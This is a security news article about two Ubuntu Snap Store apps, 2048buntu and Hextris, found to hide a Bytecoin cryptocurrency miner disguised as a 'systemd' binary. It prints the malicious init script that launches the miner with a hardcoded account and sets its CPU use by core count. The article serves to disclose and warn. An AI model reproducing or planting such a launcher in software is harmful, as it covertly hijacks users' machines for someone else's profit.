Wednesday, October 9, 2024
HomeCryptocurrency hackUbuntu Snap Store Apps Contains Hidden Cryptocurrency Miner Malware

Ubuntu Snap Store Apps Contains Hidden Cryptocurrency Miner Malware

Published on

An Ubuntu user identified a malicious code that mines Bytecoin (BCN) hidden in the source code of the Ubuntu snap package (2048buntu and Hextris) on the official Ubuntu Snap Store.

The malicious app 2048buntu appears to be a carbon copy of the legitimate 2024 game that hosted on the Ubuntu Snap Store.

Both the packages “2048buntu and Hextris” that contain cryptocurrency codes added to the store by user Nicolas Tomb and the account hardcoded is myfirstferrari@protonmail.com.

- Advertisement - EHA

Also Read 8-year-old Critical Privilege Escalation Vulnerability Found in the Latest Linux Kernel Version

An Ubuntu user according to Github name “tarwirdur” identified the app contains a cryptocurrency miner hidden in “systemd” daemon and the affected app contains “init script” which allows the script to run in the background.

#!/bin/bash

currency=bcn
name=2048buntu


{ # try
/snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 1 -g
} || { # catch
cores=($(grep -c ^processor /proc/cpuinfo))

if (( $cores < 4 )); then
 /snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 1
else
 /snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 2
fi
}

As like android play store, the Snap Store doesn’t provide a number of installations, so it is unclear on how many users affected with hidden cryptocurrency miner.

With Ubuntu store, anyone can create and host apps as like Chrome web store, iOS App Store, and Google Play Store.

Ubuntu Snap Store

According to omgubuntu “all the uploaded apps will undergo automatic testing to ensure compatibility across multiple distros and with current framework snaps are not checked line-by-line, so it is difficult to stop these miners being published on the Snap store.”

All the apps uploaded by user Nicolas Tomb was removed from the Ubuntu Snap Store and it’s pending further investigations. You can find the page in Google cache.

Gurubaran
Gurubaran
Gurubaran is a co-founder of Cyber Security News and GBHackers On Security. He has 10+ years of experience as a Security Consultant, Editor, and Analyst in cybersecurity, technology, and communications.

Latest articles

Badge and CyberArk Announce Partnership to Redefine Privacy in PAM and Secrets Management

Partnership aims to help businesses eliminate vulnerable attack surfaces and provide a more streamlined...

LemonDuck Malware Exploiting SMB Vulnerabilities To Attack Windwos Servers

The attackers exploited the EternalBlue vulnerability to gain initial access to the observatory farm,...

Critical Automative 0-Day Flaws Let Attackers Gain Full Control Over Cars

Recent discoveries in the automotive cybersecurity landscape have unveiled a series of critical zero-day...

Likho Hackers Using MeshCentral For Remotely Managing Victim Systems

The Awaken Likho APT group launched a new campaign in June of 2024 with...

Free Webinar

Protect Websites & APIs from Malware Attack

Malware targeting customer-facing websites and API applications poses significant risks, including compliance violations, defacements, and even blacklisting.

Join us for an insightful webinar featuring Vivek Gopalan, VP of Products at Indusface, as he shares effective strategies for safeguarding websites and APIs against malware.

Discussion points

Scan DOM, internal links, and JavaScript libraries for hidden malware.
Detect website defacements in real time.
Protect your brand by monitoring for potential blacklisting.
Prevent malware from infiltrating your server and cloud infrastructure.

More like this

LemonDuck Malware Exploiting SMB Vulnerabilities To Attack Windwos Servers

The attackers exploited the EternalBlue vulnerability to gain initial access to the observatory farm,...

DCRAt Attacking Users Via HTML Smuggling To Steal Login Credentials

In a new campaign that is aimed at users who speak Russian, the modular...

LummaC2 Stealer Leverages Customized Control Flow Indirection For Execution

The LummaC2 obfuscator employs a novel control flow protection scheme designed specifically for its...